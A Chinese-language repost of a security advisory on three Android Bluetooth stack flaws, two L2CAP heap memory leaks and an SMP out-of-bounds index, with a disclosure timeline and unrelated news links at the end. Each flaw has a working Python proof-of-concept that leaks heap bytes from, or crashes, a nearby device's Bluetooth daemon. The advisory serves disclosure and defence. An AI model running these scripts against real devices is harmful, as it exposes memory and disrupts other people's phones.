网易首页 > 网易号 > 正文 申请入驻

三个Android蓝牙组件漏洞详情

0
分享至

写在前面的话

2018年3月,Quarkslab向Google报告了Android蓝牙协议栈中的一些漏洞:

问题编号74882215:蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄露
问题编号74889513:蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露
问题编号74917004:蓝牙SMP smp_sm_event()OOB阵列索引
漏洞1:蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄露 简要

通过向目标设备发送特制的L2CAP数据包,蓝牙范围内的远程攻击者可利用Android蓝牙协议栈中的漏洞披露属于com.android.bluetooth守护程序堆的2个字节。

漏洞详细信息

L2CAP是蓝牙协议栈中的协议, L2CAP的功能包括为更高层协议传输数据,包括通过单个链路复用多个应用程序。L2CAP是基于通道进行的,并且控制命令在预定义的L2CAP_SIGNALLING_CID (0x01)通道上被发送。L2CAP传入数据由l2c_rcv_acl_data()函数[platform/system/bt/stack/ L2CAP /l2c_main.cc]处理。如果传入的L2CAP数据包指定L2CAP_SIGNALLING_CID作为其目标通道,则l2c_rcv_acl_data()调用process_l2cap_cmd()函数来处理L2CAP控制命令。L2CAP_CMD_CONN_REQ控制命令在process_l2cap_cmd()函数中以以下这种方式处理:

case L2CAP_CMD_CONN_REQ: STREAM_TO_UINT16(con_info.psm, p); STREAM_TO_UINT16(rcid, p); p_rcb = l2cu_find_rcb_by_psm(con_info.psm); if (p_rcb == NULL) { L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d", con_info.psm); l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM); break; } else { [...]

上面的代码使用STREAM_TO_UINT16[platform/system/bt/stack/include/bt_types.h]从L2CAP数据包中读取2个uint16_t值(con_info.psmrcid):

#define STREAM_TO_UINT16(u16, p) \ { \ (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \ (p) += 2; \ }

该漏洞在于使用STREAM_TO_UINT16宏而不检查攻击者控制的数据包中是否还有足够的数据;如果第二次使用STREAM_TO_UINT16时数据包中没有剩余字节,则从带外数据(out-of-bound)读取rcid,更精确的从堆上与包数据相邻的任何数据中读取rcid。之后,如果l2cu_find_rcb_by_psm()返回NULL并因此到达if分支,则对l2cu_reject_connection() [stack/l2cap/l2c_utils.cc]的调用会将rcid发送到远程对等体(the remote peer),这样堆中就会有2个字节泄露出来:

void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid, uint8_t rem_id, uint16_t result) { [...] UINT16_TO_STREAM(p, 0); /* Local CID of 0 */ UINT16_TO_STREAM(p, remote_cid); UINT16_TO_STREAM(p, result); UINT16_TO_STREAM(p, 0); /* Status of 0 */ l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }

这里请注意,l2cu_find_rcb_by_psm()可以完全受到攻击者的影响,通过精心设计的L2CAP数据包中提供未注册的协议或服务多路复用器(PSM)ID字段,会始终返回NULL(即始终返回到if分支)。另外,请注意,使用STREAM_TO_UINT16宏而不检查攻击控制的包中是否还有足够的数据,这种不安全的模式在process_l2cap_cmd()函数中随处可见。

Poc

下面的Python代码触发了漏洞并输出从目标蓝牙设备的com.android.bluetooth守护进程堆中泄漏的16位值。这个Python代码使用Blueborne框架中的l2cap_infra包。用法:$ sudo python l2cap01.py <src-hci> <target-bdaddr>样本:$ sudo python l2cap01.py hci0 00:11:22:33:44:55

import os import sys from l2cap_infra import * L2CAP_SIGNALLING_CID = 0x01 L2CAP_CMD_CONN_REQ = 0x02 def main(src_hci, dst_bdaddr): l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) # This will leak 2 bytes from the heap print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..." cmd_code = L2CAP_CMD_CONN_REQ cmd_id = 0x41 # not important cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) { non_existent_psm = 0x3333 # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd(): # 170 /* Send the data through the channel state machine */ # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) { # 172 process_l2cap_cmd(p_lcb, p, l2cap_len); l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm))) l2cap_loop.on(lambda pkt: True, lambda loop, pkt: pkt) # And printing the returned data. pkt = l2cap_loop.cont()[0] print "Response: %s\n" % repr(pkt) # print "Packet layers: %s" % pkt.summary() # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp # The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer print "Leaked word: 0x%04x" % pkt[2].scid l2cap_loop.finish() if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: l2cap01.py <src-hci> <dst-bdaddr>") else: if os.getuid(): print "Error: This script must be run as root." else: main(*sys.argv[1:]) 漏洞#2:蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露 简要

蓝牙范围内的远程攻击者可以使用Android蓝牙协议栈(Bluetooth stack)中的漏洞通过向目标设备发送自定义的L2CAP数据包来自属于com.android.bluetooth守护进程堆的4个字节。

漏洞详细信息

L2CAP_CMD_DISC_REQ控制命令在process_l2cap_cmd()函数中以下方式处理:

case L2CAP_CMD_DISC_REQ: STREAM_TO_UINT16(lcid, p); STREAM_TO_UINT16(rcid, p); p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid); if (p_ccb != NULL) { if (p_ccb->remote_cid == rcid) { p_ccb->remote_id = id; l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info); } } else l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);

上面的代码使用STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h]从L2CAP数据包中读取2个uint16_t值(lcid和rcid):

#define STREAM_TO_UINT16(u16, p) \ { \ (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \ (p) += 2; \ }

该漏洞存在于STREAM_TO_UINT16宏被使用两次后,而不检查攻击者控制的数据包中是否还有至少4个字节;如果数据包中没有剩余字节,那么从将从带外数据读取lcid和rcid,更准确的说是从与堆上的数据包数据相邻的任何数据中读取。之后,如果l2cu_find_ccb_by_cid()返回NULL并因此到达else分支,则对l2cu_send_peer_disc_rsp()[platform / system / bt / stack / l2cap / l2c_utils.cc]调用会将lcid和rcid发送到远程对等体,这样堆中的4个字节就会被泄漏。

void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id, uint16_t local_cid, uint16_t remote_cid) { [...] UINT16_TO_STREAM(p, local_cid); UINT16_TO_STREAM(p, remote_cid); l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }

请注意,l2cu_find_ccb_by_cid()可以完全受到攻击者的影响返回NULL(即始终返回到else分支),因为该函数将始终返回NULL,除非在目标设备和攻击者的蓝牙设备之间设置一个活动通道控制块(CCB),并设置假的lcid。

Poc

以下Python代码会触发漏洞并输出从目标蓝牙设备的com.android.bluetooth守护进程堆中泄漏的两个16位值。这个Python代码使用来自Blueborne框架中的l2cap_infra包。用法:sudo python l2cap02.py <src-hci> <target-bdaddr>样本:$ sudo python l2cap02.py hci0 00:11:22:33:44:55

import os import sys from l2cap_infra import * L2CAP_SIGNALLING_CID = 0x01 L2CAP_CMD_DISC_REQ = 0x06 def main(src_hci, dst_bdaddr): l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) # This will leak 4 bytes from the heap print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..." cmd_code = L2CAP_CMD_DISC_REQ cmd_id = 0x41 # not important cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) { # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd(): # 170 /* Send the data through the channel state machine */ # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) { # 172 process_l2cap_cmd(p_lcb, p, l2cap_len); l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len))) l2cap_loop.on(lambda pkt: True, lambda loop, pkt: pkt) # And printing the returned data. pkt = l2cap_loop.cont()[0] print "Response: %s\n" % repr(pkt) # print "Packet layers: %s" % pkt.summary() # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp # The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid) l2cap_loop.finish() if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: l2cap02.py <src-hci> <dst-bdaddr>") else: if os.getuid(): print "Error: This script must be run as root." else: main(*sys.argv[1:]) 漏洞#3:蓝牙SMP smp_sm_event() OOB数组索引 简要

蓝牙范围内的远程攻击者可以使用Android蓝牙协议栈(Bluetooth stack)中的漏洞,使com.android.bluetooth守护进程访问之外的数组,方法就是通过将意外传输发送包里所含的SMP_OPCODE_PAIRING_REQ命令的SMP数据包发送到目标设备。

漏洞详细信息

安全管理器协议(SMP)为运行在蓝牙低能耗堆栈上的应用程序提供服务访问,如设备身份验证、设备授权和数据隐私访问,以及对运行在蓝牙低能耗堆栈上的应用程序的访问。SMP协议位于L2CAP之上,位于预定义的L2CAP_SMP_CID (0x06)通道之上。传入的SMP数据包由smp_data_received()函数[platform/system/bt/stack/smp/smp_l2c.cc]处理。如果通过L2CAP_SMP_CID固定通道接收到一个SMP数据包,其中包含SMP_OPCODE_PAIRING_REQ (0x01)命令,则会出现以下代码:

static void smp_data_received(uint16_t channel, const RawAddress& bd_addr, BT_HDR* p_buf) { [...] /* reject the pairing request if there is an on-going SMP pairing */ if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) { if ((p_cb->state == SMP_STATE_IDLE) && (p_cb->br_state == SMP_BR_STATE_IDLE) && !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) { p_cb->role = L2CA_GetBleConnRole(bd_addr); [...]

如上面的代码所示,p_cb-> role设置为L2CA_GetBleConnRole(bd_addr)返回的值。 p_cb-> role应该包含其中一个值[platform / system / bt / stack / include / hcidefs.h]

/* HCI role defenitions */ #define HCI_ROLE_MASTER 0x00 #define HCI_ROLE_SLAVE 0x01 #define HCI_ROLE_UNKNOWN 0xff

如果分析人员查看L2CA_GetBleConnRole()函数中[platform/system/bt/stack/l2cap/l2c_ble.cc]的代码,就可以发现它调用l2cu_find_lcb_by_bd_addr()来查找一个匹配远程BDADDR并使用低能耗传输(BT_TRANSPORT_LE)的活动链接控制块(LCB)结构;如果找不到它,则返回HCI_ROLE_UNKNOWN(0xff)。当分析人员通过在BR/EDR(基本速率/增强数据速率,也称为“classic”蓝牙)传输上发送包含SMP_OPCODE_PAIRING_REQ命令的SMP数据包来命令此代码时就是如下这种情况,它应该只用于低能耗(LE)传输:

uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) { uint8_t role = HCI_ROLE_UNKNOWN; tL2C_LCB* p_lcb; p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE); if (p_lcb != NULL) role = p_lcb->link_role; return role; }

所以,返回smp_data_received()函数,在将p_cb-> role设置为HCI_ROLE_UNKNOWN(0xff)之后,它调用smp_sm_event()[platform/system/bt/stack/smp/smp_main.cc],得到以下代码。

953 void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) { ... 957 tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role]; ... 970 /* look up the state table for the current state */ 971 /* lookup entry /w event & curr_state */ 972 /* If entry is ignore, return. 973 * Otherwise, get state table (according to curr_state or all_state) */ 974 if ((event <= SMP_MAX_EVT) && 975 ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {

在第957行,代码使用p_cb-> role作为索引从smp_entry_table静态数组中读取,而不检查p_cb-> role是否具有两个有效值中的一个,即HCI_ROLE_MASTER(0x00)HCI_ROLE_SLAVE(0x01)。这就是漏洞:smp_entry_table静态数组只包含2个元素,而p_cb-> role的值为0xFF,在接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP包后,在BR/EDR传输上,而不是在预期的低能耗传输之上。

static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map, smp_slave_entry_map};

因此,作为执行entry_table = smp_entry_table[0xff]时的OOB索引的结果,entry_table局部变量将包含一些垃圾值(位于bluetooth.default.so二进制文件的数据部分中的smp_entry_table全局变量之后的任何值)。因此,稍后在第975行,当取消对entry_table [event – 1] [curr_state]的引用时,它很可能会导致分段错误(受bluetooth.default.so二进制文件的特定版本的影响,其中包含smp_entry_table全局变量),这将使com.android.bluetooth守护进程停止工作。

Poc

用法:$ sudo python smp01.py <src-hci> <target-bdaddr>样本:$ sudo python smp01.py hci0 00:11:22:33:44:55

import os import sys from l2cap_infra import * L2CAP_SMP_CID = 0x06 # This matches the CID used in l2cap_infra to establish a successful connection. OUR_LOCAL_SCID = 0x40 SMP_OPCODE_PAIRING_REQ = 0x01 def main(src_hci, dst_bdaddr): l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..." cmd_code = SMP_OPCODE_PAIRING_REQ the_id = 0x41 # not important cmd_len = 0x08 flags = 0x4142 # not important # here we use L2CAP_SMP_CID as cid l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags))) l2cap_loop.finish() print "The com.android.bluetooth daemon should have crashed." if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: smp01.py <src-hci> <dst-bdaddr>") else: if os.getuid(): print "Error: This script must be run as root." else: main(*sys.argv[1:]) 时间线

2018年3月15日:Quarkslab向Google报告了影响Android蓝牙堆栈的三个漏洞。错误被添加到ID“74882215,74889513和74917004”下的“Android外部安全报告”问题跟踪器中。
2018年3月16日:一个温和的机器人承认所有三个安全报告。
2018年3月26日:Android安全团队关闭问题74882215作为问题74135099的副本,声明该错误已在2018年3月4日由另一位外部研究人员报告过。
2018年5月10日:Quarkslab回到剩下的问题74889513和74917004,提醒谷歌自初始报告以来差不多两个月没有得到Android团队的任何回应,并询问是否有人能够评估错误。
2018年6月4日:2018年6月Android安全公告发布,修复了问题74882215和74889513。
2018年7月2日:2018年7月Android安全公告发布,修复问题74917004。
2018年7月25日:此博客文章发布。
写在最后的话

Quarkslab的分析人员已经向Google报告了三个影响Android蓝牙协议栈(Bluetooth stack)的漏洞。其中两个影响到了处理L2CAP协议的代码,它们允许远程攻击者(在蓝牙范围内)公开属于com.android.bluetooth进程的内存内容。这些内存泄露漏洞可能对攻击者在攻击过程的早期阶段有所帮助,甚至可能用于检索敏感数据。第三个漏洞是SMP协议实现中的带外数组索引错误,虽然很可能会导致com.android.bluetooth进程崩溃,但攻击者可能利用它来远程执行Android设备上的远程代码。有趣的是,与前两个L2CAP问题不同,此SMP错误不是解析格式错误的数据包的结果;实际上,它可以通过发送包含SMP_OPCODE_PAIRING_REQ的良好格式的SMP数据包来触发,但是是通过BR/EDR传输而不是预期的BLE传输。

*参考来源:quarkslab,周大涛编译,转载请注明来自FreeBuf.COM

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
中东果然出了叛徒,伊朗报复以色列,炸出个伪朋友:战争的残酷性

中东果然出了叛徒,伊朗报复以色列,炸出个伪朋友:战争的残酷性

强国新武器
2024-04-18 09:55:23
恭喜!安家杰走马上任,仕途正式开启,郎平功不可没

恭喜!安家杰走马上任,仕途正式开启,郎平功不可没

跑者排球视角
2024-04-19 13:58:48
任敏是怎么一步步跌下颜值神坛的?

任敏是怎么一步步跌下颜值神坛的?

游戏文摘
2024-04-17 23:37:41
正式启用!大陆不再“让利”!大陆进一步抹除“海峡中线”!

正式启用!大陆不再“让利”!大陆进一步抹除“海峡中线”!

月下客
2024-04-19 15:00:12
俄外长拉夫罗夫:俄方已准备好和谈,但不会暂停战斗

俄外长拉夫罗夫:俄方已准备好和谈,但不会暂停战斗

环球网资讯
2024-04-20 06:08:12
谭咏麟病愈后首次公开现身,瘦到青筋毕现感慨声线不好

谭咏麟病愈后首次公开现身,瘦到青筋毕现感慨声线不好

小萝卜天下事
2023-07-21 21:57:53
陈子善八岁时问朱元璋:我爷爷为救你身中九箭,你为何抄我的家?

陈子善八岁时问朱元璋:我爷爷为救你身中九箭,你为何抄我的家?

知否否
2024-03-28 13:02:34
疯狂房价!潍坊笑话登上头条,让全国网友哭笑不得!

疯狂房价!潍坊笑话登上头条,让全国网友哭笑不得!

刺头体育
2024-04-20 02:21:18
比特币完成历史上第四次“减半”

比特币完成历史上第四次“减半”

华尔街见闻官方
2024-04-20 09:51:00
中国的杀手锏,不是歼20、不是航母,那底牌到底是什么呢?

中国的杀手锏,不是歼20、不是航母,那底牌到底是什么呢?

三金观察
2024-04-08 01:12:11
纳斯里称大马丁的态度让自己不爽,球迷评论:看到你不爽让我巨爽

纳斯里称大马丁的态度让自己不爽,球迷评论:看到你不爽让我巨爽

直播吧
2024-04-20 06:55:18
被“殴打”过的4位明星,陈晓45个耳光没啥,杨幂才是真可怜!

被“殴打”过的4位明星,陈晓45个耳光没啥,杨幂才是真可怜!

娱乐圈酸柠檬
2024-04-18 07:45:17
美议员推动罢免议长约翰逊

美议员推动罢免议长约翰逊

环球时报国际
2024-04-19 07:27:25
新华社快讯:伊拉克两处军事基地20日凌晨遭袭,伤亡情况暂时不明。

新华社快讯:伊拉克两处军事基地20日凌晨遭袭,伤亡情况暂时不明。

新华社
2024-04-20 06:40:09
无缘季后赛!德罗赞空砍22+4,NBA超巨轰然倒下,绿军成最大赢家

无缘季后赛!德罗赞空砍22+4,NBA超巨轰然倒下,绿军成最大赢家

巴叔GO聊体育
2024-04-20 11:37:51
战时已被摧毁?外机挂弹抵近轰6K后,我军才发现,解放军急需轰20

战时已被摧毁?外机挂弹抵近轰6K后,我军才发现,解放军急需轰20

环球Talk
2024-04-19 23:49:22
5万!薛思佳:戴昊罚单一出来 刘铮就表示自己愿意替他承担

5万!薛思佳:戴昊罚单一出来 刘铮就表示自己愿意替他承担

直播吧
2024-04-19 19:04:15
国家宣布!香港向西!深圳又有2个大礼包落地,“全球最低”的120.56平方公里全域沸腾!

国家宣布!香港向西!深圳又有2个大礼包落地,“全球最低”的120.56平方公里全域沸腾!

深圳梦
2024-04-19 21:14:02
重庆通报燃气费多计多收问题:情况属实、已立案调查14件→

重庆通报燃气费多计多收问题:情况属实、已立案调查14件→

鲁中晨报
2024-04-20 07:17:03
危机升级!中国再度面临金融空转?300万亿资金!钱流到哪里去?

危机升级!中国再度面临金融空转?300万亿资金!钱流到哪里去?

白茶之清欢
2024-04-19 22:03:05
2024-04-20 12:42:44
FreeBuf
FreeBuf
互联网安全新媒体
5549文章数 1757关注度
往期回顾 全部

头条要闻

媒体:以色列和伊朗互相报复袭击 最尴尬的要数美国

头条要闻

媒体:以色列和伊朗互相报复袭击 最尴尬的要数美国

体育要闻

米切尔这次对线不会输了吧

娱乐要闻

北影节开幕之夜,内娱女星千娇百媚

财经要闻

新华资管香港的秘密:猛投地产或致巨亏

科技要闻

华为今年最关键的事曝光!Pura 70有新消息

汽车要闻

78.9万的极氪009光辉 让加价MPV无话可说

态度原创

数码
时尚
房产
教育
军事航空

数码要闻

微星魔影 17 2024 游戏本上架:Ultra9-185H,10699 元起

放弃牛仔裤吧,入夏是穿“裙子”的季节!遮肉显瘦谁穿谁优雅

房产要闻

官方喊话,广州公寓或将走向终结?

教育要闻

准研究生需了解,读研期间做到这5件事,毕业才能找到更好的工作

军事要闻

伊朗总统发声 未提及伊斯法罕爆炸声

无障碍浏览 进入关怀版